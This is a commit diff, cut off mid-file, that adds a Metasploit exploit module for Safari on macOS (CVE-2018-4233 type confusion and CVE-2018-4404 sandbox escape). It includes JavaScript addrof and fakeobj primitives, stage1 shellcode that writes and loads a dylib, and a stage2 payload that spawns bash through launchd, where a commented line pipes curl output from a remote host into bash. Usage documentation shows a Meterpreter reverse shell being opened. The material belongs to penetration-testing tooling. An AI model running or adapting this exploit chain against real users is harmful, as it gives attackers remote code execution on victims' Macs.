Land #10944, Add macOS Safari exploit from pwn2own2018
commit
cc7cb7302e
|
@ -0,0 +1,182 @@
|
|||
//
|
||||
// Tiny module that provides big (64bit) integers.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
// Requires utils.js
|
||||
//
|
||||
|
||||
// Datatype to represent 64-bit integers.
|
||||
//
|
||||
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||
function Int64(v) {
|
||||
// The underlying byte array.
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
switch (typeof v) {
|
||||
case 'number':
|
||||
v = '0x' + Math.floor(v).toString(16);
|
||||
case 'string':
|
||||
if (v.startsWith('0x'))
|
||||
v = v.substr(2);
|
||||
if (v.length % 2 == 1)
|
||||
v = '0' + v;
|
||||
|
||||
var bigEndian = unhexlify(v, 8);
|
||||
bytes.set(Array.from(bigEndian).reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (v instanceof Int64) {
|
||||
bytes.set(v.bytes());
|
||||
} else {
|
||||
if (v.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(v);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
default:
|
||||
throw TypeError("Int64 constructor requires an argument.");
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function() {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Integer can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function() {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||
throw new RangeError("Integer can not be represented by a JSValue");
|
||||
|
||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
this.assignSub(this, 0x1000000000000);
|
||||
var res = Struct.unpack(Struct.float64, bytes);
|
||||
this.assignAdd(this, 0x1000000000000);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function() {
|
||||
return Array.from(bytes);
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function(i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function() {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function() {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
for (var i = 0; i < arguments.length; i++)
|
||||
if (!(arguments[i] instanceof Int64))
|
||||
arguments[i] = new Int64(arguments[i]);
|
||||
return f.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
|
||||
// this = -n (two's complement)
|
||||
this.assignNeg = operation(function neg(n) {
|
||||
for (var i = 0; i < 8; i++)
|
||||
bytes[i] = ~n.byteAt(i);
|
||||
|
||||
return this.assignAdd(this, Int64.One);
|
||||
}, 1);
|
||||
|
||||
// this = a + b
|
||||
this.assignAdd = operation(function add(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a - b
|
||||
this.assignSub = operation(function sub(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function(d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||
|
||||
// Return -n (two's complement)
|
||||
function Neg(n) {
|
||||
return (new Int64()).assignNeg(n);
|
||||
}
|
||||
|
||||
// Return a + b
|
||||
function Add(a, b) {
|
||||
return (new Int64()).assignAdd(a, b);
|
||||
}
|
||||
|
||||
// Return a - b
|
||||
function Sub(a, b) {
|
||||
return (new Int64()).assignSub(a, b);
|
||||
}
|
||||
|
||||
// Return a ^ b
|
||||
function Xor(a, b) {
|
||||
return (new Int64()).assignXor(a, b);
|
||||
}
|
||||
|
||||
// Return a & b
|
||||
function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
|
||||
// That's all the arithmetic we need for exploiting WebKit.. :)
|
Binary file not shown.
|
@ -0,0 +1,78 @@
|
|||
//
|
||||
// Utility functions.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
|
||||
// Return the hexadecimal representation of the given byte.
|
||||
function hex(b) {
|
||||
return ('0' + b.toString(16)).substr(-2);
|
||||
}
|
||||
|
||||
// Return the hexadecimal representation of the given byte array.
|
||||
function hexlify(bytes) {
|
||||
var res = [];
|
||||
for (var i = 0; i < bytes.length; i++)
|
||||
res.push(hex(bytes[i]));
|
||||
|
||||
return res.join('');
|
||||
}
|
||||
|
||||
// Return the binary data represented by the given hexdecimal string.
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.length % 2 == 1)
|
||||
throw new TypeError("Invalid hex string");
|
||||
|
||||
var bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (var i = 0; i < hexstr.length; i += 2)
|
||||
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function hexdump(data) {
|
||||
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||
data = Array.from(data);
|
||||
|
||||
var lines = [];
|
||||
for (var i = 0; i < data.length; i += 16) {
|
||||
var chunk = data.slice(i, i+16);
|
||||
var parts = chunk.map(hex);
|
||||
if (parts.length > 8)
|
||||
parts.splice(8, 0, ' ');
|
||||
lines.push(parts.join(' '));
|
||||
}
|
||||
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
var buffer = new ArrayBuffer(8);
|
||||
var byteView = new Uint8Array(buffer);
|
||||
var uint32View = new Uint32Array(buffer);
|
||||
var float64View = new Float64Array(buffer);
|
||||
|
||||
return {
|
||||
pack: function(type, value) {
|
||||
var view = type; // See below
|
||||
view[0] = value;
|
||||
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||
},
|
||||
|
||||
unpack: function(type, bytes) {
|
||||
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||
throw Error("Invalid bytearray");
|
||||
|
||||
var view = type; // See below
|
||||
byteView.set(bytes);
|
||||
return view[0];
|
||||
},
|
||||
|
||||
// Available types.
|
||||
int8: byteView,
|
||||
int32: uint32View,
|
||||
float64: float64View
|
||||
};
|
||||
})();
|
Binary file not shown.
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
|
||||
was introduced in Safari 10, so OSX 10.11 is not affected by the type
|
||||
confusion, however the sandbox escape may still work.
|
||||
|
||||
The DFG JIT does not take into account that, through the use of a Proxy,
|
||||
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||
operation. This makes it possible to change the structure of e.g. an argument
|
||||
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||
|
||||
The JIT region is then replaced with shellcode which loads the second stage.
|
||||
The second stage exploits a logic error in libxpc, which uses command execution
|
||||
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
|
||||
1. `set LHOST <tab>`
|
||||
1. `exploit`
|
||||
1. Visit the URL on a vulnerable version of Safari
|
||||
|
||||
## Scenarios
|
||||
|
||||
### High Sierra 10.13
|
||||
|
||||
```
|
||||
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
|
||||
LHOST => 192.168.0.2
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/0PiuTy
|
||||
[*] Local IP: http://192.168.0.2:8080/0PiuTy
|
||||
[*] Server started.
|
||||
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
|
||||
[*] Sending stage (53508 bytes) to 192.168.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
|
||||
|
||||
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : Users-iMac.local
|
||||
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
|
||||
Architecture : x64
|
||||
Meterpreter : python/osx
|
||||
```
|
||||
|
||||
### Adding offsets for new versions
|
||||
|
||||
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
|
||||
are not supported. It's easy to add support for a vulnerable version by running
|
||||
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
|
||||
target version.
|
||||
|
||||
You will need to install the latest radare2 for the script to function.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
|
||||
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
|
||||
'10.13' => {
|
||||
:dyld_stub_loader => '0x000012a8',
|
||||
:dlopen => '0x00002e60',
|
||||
:confstr => '0x000024fc',
|
||||
:strlen => '0x00001440',
|
||||
:strlen_got => '0xee8',
|
||||
},
|
||||
```
|
||||
|
||||
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
|
||||
You can then add the offsets to the module:
|
||||
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
|
||||
|
||||
Please don't forget to contribute the offsets back to the framework if you have
|
||||
successfully tested them.
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
|
||||
all:
|
||||
+$(MAKE) -C stage1
|
||||
+$(MAKE) -C stage2
|
||||
|
||||
install:
|
||||
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
|
||||
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
|
||||
|
||||
clean:
|
||||
rm -f stage1/stage1.bin
|
||||
rm -f stage2/stage2.dylib
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#`brew install radare2` <-- older version :(
|
||||
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
|
||||
|
||||
def grab_offset(lib_file, function)
|
||||
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
|
||||
offset_string[0..9]
|
||||
end
|
||||
|
||||
version = `sw_vers -productVersion`.strip
|
||||
puts " '#{version}' => {"
|
||||
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
|
||||
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
|
||||
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
|
||||
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
|
||||
|
||||
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
|
||||
#strlen_disasm = '''
|
||||
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
|
||||
#;-- imp.strlen:
|
||||
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
|
||||
#'''
|
||||
got_offset = strlen_disasm.split(" ")[3].to_i(16)
|
||||
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
|
||||
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
|
||||
puts " :strlen_got => '0x#{strlen_got_offset}',"
|
||||
puts " },"
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
|
||||
.PHONY: all
|
||||
all: stage1.js
|
||||
|
||||
stage1.js: stage1.asm
|
||||
@nasm -o stage1.bin stage1.asm
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
BITS 64
|
||||
|
||||
start:
|
||||
; int 3
|
||||
|
||||
; Step 0: function prologue
|
||||
sub rsp, 0x1008 ; ensure 16-byte alignment
|
||||
|
||||
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
|
||||
mov rdx, 0x1000
|
||||
mov rsi, rsp
|
||||
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
|
||||
mov rax, 0x4141414141414141 ; will be replaced with &confstr
|
||||
call rax ; confstr()
|
||||
test rax, rax
|
||||
jnz build_path
|
||||
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
|
||||
jmp exit
|
||||
|
||||
build_path:
|
||||
dec rax
|
||||
mov rcx, rsp
|
||||
add rcx, rax
|
||||
mov dword [rcx], 0x79642e78 ; x.dy
|
||||
mov dword [rcx+4], 0x62696c ; lib\x00
|
||||
|
||||
; Step 2: write dylib to filesystem
|
||||
mov rax, 0x2000005 ; sys_open
|
||||
mov rdi, rsp ; path
|
||||
mov rdx, 0x1ed ; protections (0644)
|
||||
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
|
||||
syscall
|
||||
jnb write_file
|
||||
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
|
||||
jmp exit
|
||||
|
||||
write_file:
|
||||
mov rdi, rax
|
||||
mov rsi, 0x4242424242424242
|
||||
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
|
||||
write_loop:
|
||||
mov rdx, r8
|
||||
mov rax, 0x2000004 ; sys_write
|
||||
syscall
|
||||
jnb write_succeeded
|
||||
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
|
||||
jmp exit
|
||||
write_succeeded:
|
||||
sub r8, rax
|
||||
add rsi, rax
|
||||
test r8, r8
|
||||
jnz write_loop
|
||||
|
||||
; Step 3: open dylib with dlopen
|
||||
dlopen:
|
||||
xor rsi, rsi
|
||||
mov rdi, rsp
|
||||
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
|
||||
call rax
|
||||
test rax, rax
|
||||
jnz exit_success
|
||||
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
|
||||
jmp exit
|
||||
|
||||
; Step 4: function epilogue and return
|
||||
exit_success:
|
||||
mov rax, 0xffff000000000000 ; return 0 for success
|
||||
exit:
|
||||
add rsp, 0x1008
|
||||
ret
|
|
@ -0,0 +1,8 @@
|
|||
CC = clang
|
||||
|
||||
.PHONY: all
|
||||
all: stage2.dylib
|
||||
|
||||
stage2.dylib: payload.c
|
||||
$(CC) -shared -o stage2.dylib payload.c
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach_port.h>
|
||||
|
||||
struct spawn_via_launchd_attr {
|
||||
uint64_t spawn_flags;
|
||||
const char *spawn_path;
|
||||
const char *spawn_chdir;
|
||||
const char * const * spawn_env;
|
||||
const mode_t *spawn_umask;
|
||||
mach_port_t *spawn_observer_port;
|
||||
const cpu_type_t *spawn_binpref;
|
||||
size_t spawn_binpref_cnt;
|
||||
void * spawn_quarantine;
|
||||
const char *spawn_seatbelt_profile;
|
||||
const uint64_t *spawn_seatbelt_flags;
|
||||
};
|
||||
|
||||
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
|
||||
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
|
||||
|
||||
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
|
||||
|
||||
__attribute__((constructor))
|
||||
void _injection()
|
||||
{
|
||||
const char* argv[] = {
|
||||
"/bin/bash",
|
||||
"-c",
|
||||
payload_cmd_placeholder,
|
||||
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
|
||||
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
|
||||
0,
|
||||
};
|
||||
|
||||
mach_port_t mpo = MACH_PORT_NULL;
|
||||
struct spawn_via_launchd_attr attrs;
|
||||
memset(&attrs, 0, sizeof(attrs));
|
||||
attrs.spawn_observer_port = &mpo;
|
||||
|
||||
spawn_via_launchd("net.saelo.hax", argv, &attrs);
|
||||
}
|
|
@ -0,0 +1,510 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Safari Proxy Object Type Confusion',
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
|
||||
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||
operation. This makes it possible to change the structure of e.g. an argument
|
||||
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||
|
||||
The JIT region is then replaced with shellcode which loads the second stage.
|
||||
The second stage exploits a logic error in libxpc, which uses command execution
|
||||
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'saelo' ],
|
||||
'References' => [
|
||||
['CVE', '2018-4233'],
|
||||
['CVE', '2018-4404'],
|
||||
['URL', 'https://github.com/saelo/cve-2018-4233'],
|
||||
['URL', 'https://github.com/saelo/pwn2own2018'],
|
||||
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
||||
],
|
||||
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
|
||||
'Platform' => 'osx',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
||||
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 15 2018'))
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
|
||||
])
|
||||
end
|
||||
|
||||
def offset_table
|
||||
{
|
||||
'10.12.6' => {
|
||||
:jsc_vtab => '0x0000d8d8',
|
||||
:dyld_stub_loader => '0x00001168',
|
||||
:dlopen => '0x000027f7',
|
||||
:confstr => '0x00002c84',
|
||||
:strlen => '0x00001b40',
|
||||
:strlen_got => '0xdc0',
|
||||
},
|
||||
'10.13' => {
|
||||
:jsc_vtab => '0x0000e5f8',
|
||||
:dyld_stub_loader => '0x000012a8',
|
||||
:dlopen => '0x00002e60',
|
||||
:confstr => '0x000024fc',
|
||||
:strlen => '0x00001440',
|
||||
:strlen_got => '0xee8',
|
||||
},
|
||||
'10.13.3' => {
|
||||
:jsc_vtab => '0xe5e8',
|
||||
:dyld_stub_loader => '0x1278',
|
||||
:dlopen => '0x2e30',
|
||||
:confstr => '0x24dc',
|
||||
:strlen => '0x1420',
|
||||
:strlen_got => '0xee0',
|
||||
},
|
||||
}
|
||||
end
|
||||
|
||||
def exploit_data(directory, file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
||||
::File.binread path
|
||||
end
|
||||
|
||||
def stage1_js
|
||||
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
|
||||
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
|
||||
end
|
||||
|
||||
def stage2_js
|
||||
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
|
||||
payload_cmd = payload.raw
|
||||
if target['Arch'] == ARCH_PYTHON
|
||||
payload_cmd = "echo \"#{payload_cmd}\" | python"
|
||||
end
|
||||
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
|
||||
stage2[placeholder_index, payload_cmd.length] = payload_cmd
|
||||
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
|
||||
end
|
||||
|
||||
def get_offsets(user_agent)
|
||||
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
||||
version = $1.gsub("_", ".")
|
||||
mac_osx_version = Gem::Version.new(version)
|
||||
if mac_osx_version >= Gem::Version.new('10.13.4')
|
||||
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||
elsif mac_osx_version < Gem::Version.new('10.12')
|
||||
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||
elsif offset_table.key?(version)
|
||||
offset = offset_table[version]
|
||||
return <<-EOF
|
||||
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
|
||||
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
|
||||
const DLOPEN_OFFSET = #{offset[:dlopen]};
|
||||
const CONFSTR_OFFSET = #{offset[:confstr]};
|
||||
const STRLEN_OFFSET = #{offset[:strlen]};
|
||||
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
|
||||
EOF
|
||||
else
|
||||
print_warning "No offsets for version #{mac_osx_version}"
|
||||
end
|
||||
else
|
||||
print_warning "Unexpected User-Agent"
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
user_agent = request['User-Agent']
|
||||
print_status("Request from #{user_agent}")
|
||||
offsets = get_offsets(user_agent)
|
||||
unless offsets
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
utils = exploit_data "CVE-2018-4233", "utils.js"
|
||||
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
||||
html = %Q^
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
#{stage1_js}
|
||||
stage1.replace = function(oldVal, newVal) {
|
||||
for (var idx = 0; idx < this.length; idx++) {
|
||||
var found = true;
|
||||
for (var j = idx; j < idx + 8; j++) {
|
||||
if (this[j] != oldVal.byteAt(j - idx)) {
|
||||
found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found)
|
||||
break;
|
||||
}
|
||||
this.set(newVal.bytes(), idx);
|
||||
};
|
||||
#{stage2_js}
|
||||
#{utils}
|
||||
#{int64}
|
||||
#{offsets}
|
||||
|
||||
var ready = new Promise(function(resolve) {
|
||||
if (typeof(window) === 'undefined')
|
||||
resolve();
|
||||
else
|
||||
window.onload = function() {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
|
||||
ready = Promise.all([ready]);
|
||||
|
||||
print = function(msg) {
|
||||
//console.log(msg);
|
||||
//document.body.innerText += msg + '\\n';
|
||||
}
|
||||
|
||||
// Must create this indexing type transition first,
|
||||
// otherwise the JIT will deoptimize later.
|
||||
var a = [13.37, 13.37];
|
||||
a[0] = {};
|
||||
|
||||
var referenceFloat64Array = new Float64Array(0x1000);
|
||||
|
||||
//
|
||||
// Bug: the DFG JIT does not take into account that, through the use of a
|
||||
// Proxy, it is possible to run arbitrary JS code during the execution of a
|
||||
// CreateThis operation. This makes it possible to change the structure of e.g.
|
||||
// an argument without causing a bailout, leading to a type confusion.
|
||||
//
|
||||
|
||||
//
|
||||
// addrof primitive
|
||||
//
|
||||
function setupAddrof() {
|
||||
function InfoLeaker(a) {
|
||||
this.address = a[0];
|
||||
}
|
||||
|
||||
var trigger = false;
|
||||
var leakme = null;
|
||||
var arg = null;
|
||||
|
||||
var handler = {
|
||||
get(target, propname) {
|
||||
if (trigger)
|
||||
arg[0] = leakme;
|
||||
return target[propname];
|
||||
},
|
||||
};
|
||||
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
|
||||
|
||||
for (var i = 0; i < 100000; i++) {
|
||||
new InfoLeakerProxy([1.1, 2.2, 3.3]);
|
||||
}
|
||||
|
||||
trigger = true;
|
||||
|
||||
return function(obj) {
|
||||
leakme = obj;
|
||||
arg = [1.1, 1.1];
|
||||
var o = new InfoLeakerProxy(arg);
|
||||
return o.address;
|
||||
};
|
||||
}
|
||||
|
||||
//
|
||||
// fakeobj primitive
|
||||
//
|
||||
function setupFakeobj() {
|
||||
function ObjFaker(a, address) {
|
||||
a[0] = address;
|
||||
}
|
||||
|
||||
var trigger = false;
|
||||
var arg = null;
|
||||
|
||||
var handler = {
|
||||
get(target, propname) {
|
||||
if (trigger)
|
||||
arg[0] = {};
|
||||
return target[propname];
|
||||
},
|
||||
};
|
||||
var ObjFakerProxy = new Proxy(ObjFaker, handler);
|
||||
|
||||
for (var i = 0; i < 100000; i++) {
|
||||
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
|
||||
}
|
||||
|
||||
trigger = true;
|
||||
|
||||
return function(address) {
|
||||
arg = [1.1, 1.1];
|
||||
var o = new ObjFakerProxy(arg, address);
|
||||
return arg[0];
|
||||
};
|
||||
}
|
||||
|
||||
function makeJITCompiledFunction() {
|
||||
// Some code to avoid inlining...
|
||||
function target(num) {
|
||||
for (var i = 2; i < num; i++) {
|
||||
if (num % i === 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Force JIT compilation.
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
function pwn() {
|
||||
// Spray Float64Array structures so that structure ID 0x1000 will
|
||||
// be a Float64Array with very high probability
|
||||
var structs = [];
|
||||
for (var i = 0; i < 0x1000; i++) {
|
||||
var a = new Float64Array(1);
|
||||
a['prop' + i] = 1337;
|
||||
structs.push(a);
|
||||
}
|
||||
|
||||
// Setup exploit primitives
|
||||
var addrofOnce = setupAddrof();
|
||||
var fakeobjOnce = setupFakeobj();
|
||||
|
||||
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
|
||||
/*
|
||||
var stuff = [];
|
||||
for (var i = 0; i < 0x100000; i++) {
|
||||
stuff.push({foo: i});
|
||||
}
|
||||
*/
|
||||
|
||||
var float64MemView = new Float64Array(0x200);
|
||||
var uint8MemView = new Uint8Array(0x1000);
|
||||
|
||||
// Setup container to host the fake Float64Array
|
||||
var jsCellHeader = new Int64([
|
||||
00, 0x10, 00, 00, // m_structureID
|
||||
0x0, // m_indexingType
|
||||
0x2b, // m_type
|
||||
0x08, // m_flags
|
||||
0x1 // m_cellState
|
||||
]);
|
||||
|
||||
var container = {
|
||||
jsCellHeader: jsCellHeader.asJSValue(),
|
||||
butterfly: null,
|
||||
vector: float64MemView,
|
||||
length: (new Int64('0x0001000000001337')).asJSValue(),
|
||||
mode: {}, // an empty object, we'll need that later
|
||||
};
|
||||
|
||||
// Leak address and inject fake object
|
||||
// RawAddr == address in float64 form
|
||||
var containerRawAddr = addrofOnce(container);
|
||||
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
|
||||
print("[+] Fake Float64Array @ " + fakeArrayAddr);
|
||||
|
||||
///
|
||||
/// BEGIN CRITICAL SECTION
|
||||
///
|
